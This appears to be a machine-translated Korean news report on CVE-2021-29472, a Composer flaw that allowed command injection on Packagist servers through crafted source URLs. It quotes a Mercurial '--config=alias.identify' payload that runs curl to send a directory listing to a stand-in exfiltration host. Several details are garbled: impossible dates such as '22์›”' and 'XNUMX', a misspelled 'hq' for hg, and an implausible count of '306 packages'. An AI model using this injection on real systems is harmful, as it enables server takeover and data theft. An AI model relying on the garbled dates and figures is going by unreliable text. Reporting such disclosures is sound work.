Packagist PHP ์ €์žฅ์†Œ๋ฅผ ์†์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” Composer ํŒจํ‚ค์ง€ ๊ด€๋ฆฌ์ž์˜ ์ทจ์•ฝ์ 

์†Œ์Šค ์ฝ”๋“œ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๊ธฐ ์œ„ํ•œ ์ฃผ์†Œ๋ฅผ ์ง€์ •ํ•˜๋Š” ํŠน์ˆ˜ ํ˜•์‹์˜ URL ๊ฐ’์ด ํฌํ•จ๋œ ํŒจํ‚ค์ง€๋ฅผ ์ฒ˜๋ฆฌํ•  ๋•Œ ์‹œ์Šคํ…œ์—์„œ ์ž„์˜์˜ ๋ช…๋ น์ด ์‹คํ–‰๋˜๋„๋ก ํ—ˆ์šฉํ•˜๋Š” ์‹ฌ๊ฐํ•œ ์ทจ์•ฝ์ (CVE-2021-29472)์ด Composer ์ข…์†์„ฑ ๊ด€๋ฆฌ์ž์—์„œ ํ™•์ธ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. Git, Subversion ๋ฐ Mercurial ์†Œ์Šค ์ œ์–ด ์‹œ์Šคํ…œ์„ ์‚ฌ์šฉํ•  ๋•Œ ์‚ฌ์šฉ๋˜๋Š” GitDriver, SvnDriver ๋ฐ HgDriver ๊ตฌ์„ฑ ์š”์†Œ์—์„œ ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์„ฑ์€ Composer ๋ฆด๋ฆฌ์Šค 1.10.22 ๋ฐ 2.0.13์—์„œ ํ•ด๊ฒฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

ํŠนํžˆ ์ด ๋ฌธ์ œ๋Š” Composer์˜ ๊ธฐ๋ณธ ํŒจํ‚ค์ง€ ์ €์žฅ์†Œ์ธ Packagist์— ์ฃผ๋กœ ์˜ํ–ฅ์„ ๋ฏธ์ณค์Šต๋‹ˆ๋‹ค. Packagist์—๋Š” PHP ๊ฐœ๋ฐœ์ž๋ฅผ ์œ„ํ•œ 306๊ฐœ์˜ ํŒจํ‚ค์ง€๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉฐ ๋งค์›” 1.4์–ต ๊ฑด ์ด์ƒ์˜ ๋‹ค์šด๋กœ๋“œ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์‹คํ—˜์—์„œ๋Š” ๋ฌธ์ œ์— ๋Œ€ํ•œ ์ง€์‹์ด ์žˆ๋Š” ๊ฒฝ์šฐ ๊ณต๊ฒฉ์ž๊ฐ€ Packagist ์ธํ”„๋ผ๋ฅผ ์ œ์–ดํ•˜๊ณ  ๊ด€๋ฆฌ์ž์˜ ์ž๊ฒฉ ์ฆ๋ช…์„ ๊ฐ€๋กœ์ฑ„๊ฑฐ๋‚˜ ํŒจํ‚ค์ง€ ๋‹ค์šด๋กœ๋“œ๋ฅผ ํƒ€์‚ฌ ์„œ๋ฒ„๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•˜์—ฌ ๋ฐฑ๋„์–ด๋ฅผ ๋Œ€์ฒดํ•˜๊ธฐ ์œ„ํ•ด ์•…์˜์ ์ธ ๋ณ€๊ฒฝ ์‚ฌํ•ญ์ด ํฌํ•จ๋œ ํŒจํ‚ค์ง€ ๋ณ€ํ˜•์„ ์ „๋‹ฌํ•˜๋„๋ก ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Œ์„ ๋ณด์—ฌ์ฃผ์—ˆ์Šต๋‹ˆ๋‹ค. ์ข…์†์„ฑ ์„ค์น˜ ํ”„๋กœ์„ธ์Šค ์ค‘์—.

์ตœ์ข… ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ์œ„ํ—˜์€ ์ผ๋ฐ˜์ ์œผ๋กœ Composer.json์˜ ์ฝ˜ํ…์ธ ๊ฐ€ ์‚ฌ์šฉ์ž์— ์˜ํ•ด ๊ฒฐ์ •๋˜๊ณ  ์ผ๋ฐ˜์ ์œผ๋กœ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ํƒ€์‚ฌ ์ €์žฅ์†Œ์— ์•ก์„ธ์Šคํ•  ๋•Œ ์†Œ์Šค ๋งํฌ๊ฐ€ ์ „์†ก๋œ๋‹ค๋Š” ์‚ฌ์‹ค๋กœ ์ œํ•œ๋ฉ๋‹ˆ๋‹ค. ์ฃผ์š” ํƒ€๊ฒฉ์€ Packagist.org ์ €์žฅ์†Œ์™€ ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ๋ฐ›์€ ๋ฐ์ดํ„ฐ ์ „์†ก์œผ๋กœ Composer๋ฅผ ํ˜ธ์ถœํ•˜๋Š” Private Packagist ์„œ๋น„์Šค์— ๋–จ์–ด์กŒ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ํŠน๋ณ„ํžˆ ์„ค๊ณ„๋œ ํŒจํ‚ค์ง€๋ฅผ ๋ฐฐ์น˜ํ•˜์—ฌ Packagist ์„œ๋ฒ„์—์„œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Packagist ํŒ€์€ ์ทจ์•ฝ์ ์ด ๋ณด๊ณ ๋œ ํ›„ 12์‹œ๊ฐ„ ์ด๋‚ด์— ์ทจ์•ฝ์ ์„ ์ˆ˜์ •ํ–ˆ์Šต๋‹ˆ๋‹ค. ์—ฐ๊ตฌ์›๋“ค์€ 22์›” 27์ผ Packagist ๊ฐœ๋ฐœ์ž๋“ค์—๊ฒŒ ๋น„๊ณต๊ฐœ๋กœ ํ†ต๋ณดํ–ˆ๊ณ , ๊ฐ™์€ ๋‚  ๋ฌธ์ œ๊ฐ€ ํ•ด๊ฒฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์„ฑ์„ ํ•ด๊ฒฐํ•˜๋Š” Composer์˜ ๊ณต๊ฐœ ์—…๋ฐ์ดํŠธ๋Š” 28์›” XNUMX์ผ์— ๊ฒŒ์‹œ๋˜์—ˆ์œผ๋ฉฐ ์„ธ๋ถ€ ์ •๋ณด๋Š” XNUMX์›” XNUMX์ผ์— ๊ณต๊ฐœ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. Packagist ์„œ๋ฒ„์˜ ๋กœ๊ทธ ๊ฐ์‚ฌ์—์„œ๋Š” ์ทจ์•ฝ์ ๊ณผ ๊ด€๋ จ๋œ ์˜์‹ฌ์Šค๋Ÿฌ์šด ํ™œ๋™์ด ๋ฐœ๊ฒฌ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค.

์ด ๋ฌธ์ œ๋Š” ๋ฃจํŠธ Composer.json ํŒŒ์ผ๊ณผ ์†Œ์Šค ๋‹ค์šด๋กœ๋“œ ๋งํฌ์˜ URL ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ ์ฝ”๋“œ์— ์žˆ๋Š” ๋ฒ„๊ทธ๋กœ ์ธํ•ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด ์˜ค๋ฅ˜๋Š” 2011๋…„ XNUMX์›”๋ถ€ํ„ฐ ์ฝ”๋“œ์— ์กด์žฌํ–ˆ์Šต๋‹ˆ๋‹ค. Packagist๋Š” "fromShellCommandline"์„ ํ˜ธ์ถœํ•˜๊ณ  ๋ช…๋ น์ค„ ์ธ์ˆ˜๋ฅผ ์ „๋‹ฌํ•˜์—ฌ ์‹คํ–‰๋˜๋Š” ํŠน์ • ์†Œ์Šค ์ œ์–ด ์‹œ์Šคํ…œ์— ๋ฌถ์ด์ง€ ์•Š๊ณ  ์ฝ”๋“œ ๋กœ๋”ฉ์„ โ€‹โ€‹๊ตฌ์„ฑํ•˜๊ธฐ ์œ„ํ•ด ํŠน์ˆ˜ ๋ ˆ์ด์–ด๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, git์˜ ๊ฒฝ์šฐ "git ls-remote -heads $URL" ๋ช…๋ น์ด ํ˜ธ์ถœ๋ฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ URL์€ "ProcessExecutor::escape($url)" ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ฒ˜๋ฆฌ๋˜๋ฉฐ "$(. ..)" ๋˜๋Š” "` ...`".

๋ฌธ์ œ์˜ ํ•ต์‹ฌ์€ ProcessExecutor::escape ๋ฉ”์†Œ๋“œ๊ฐ€ URL์— ์ถ”๊ฐ€ ํ˜ธ์ถœ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ๋Š” "โ€”" ์‹œํ€€์Šค๋ฅผ ์ด์Šค์ผ€์ดํ”„ํ•˜์ง€ ์•Š์•˜๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ด์Šค์ผ€์ดํ”„๋Š” GitDriver.php, SvnDriver.php ๋ฐ HgDriver.php ๋“œ๋ผ์ด๋ฒ„์—์„œ ๋ˆ„๋ฝ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. GitDriver.php ๊ณต๊ฒฉ์€ "git ls-remote" ๋ช…๋ น์ด ๊ฒฝ๋กœ ๋’ค์— ์ถ”๊ฐ€ ์ธ์ˆ˜ ์ง€์ •์„ ์ง€์›ํ•˜์ง€ ์•Š๋Š”๋‹ค๋Š” ์‚ฌ์‹ค๋กœ ์ธํ•ด ๋ฐฉํ•ด๋ฅผ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค. "--config" ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ "hq" ์œ ํ‹ธ๋ฆฌํ‹ฐ์— ์ „๋‹ฌํ•˜๋ฉด HgDriver.php์— ๋Œ€ํ•œ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•œ ๊ฒƒ์œผ๋กœ ๋‚˜ํƒ€๋‚ฌ์Šต๋‹ˆ๋‹ค. ์ด ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด "alias.identify" ์„ค์ •์„ ์กฐ์ž‘ํ•˜์—ฌ ๋ชจ๋“  ๋ช…๋ น์˜ ์‹คํ–‰์„ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์ปฌ ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ์ฝ”๋“œ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ์‹คํ–‰ํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. โ€”config=alias.identify=!curl http://exfiltrate-host.tld โ€”data โ€œ$(ls -alh)โ€

์—ฐ๊ตฌ์›๋“ค์€ ์œ ์‚ฌํ•œ URL์„ ๊ฐ€์ง„ ํ…Œ์ŠคํŠธ ํŒจํ‚ค์ง€๋ฅผ Packagist์— ๊ฒŒ์‹œํ•จ์œผ๋กœ์จ ๊ฒŒ์‹œ ํ›„ ์„œ๋ฒ„๊ฐ€ ํ˜„์žฌ ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ ํŒŒ์ผ ๋ชฉ๋ก์ด ํฌํ•จ๋œ AWS์˜ Packagist ์„œ๋ฒ„ ์ค‘ ํ•˜๋‚˜๋กœ๋ถ€ํ„ฐ HTTP ์š”์ฒญ์„ ์ˆ˜์‹ ํ–ˆ์Œ์„ ํ™•์ธํ–ˆ์Šต๋‹ˆ๋‹ค.

์ถœ์ฒ˜ : opennet.ru

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€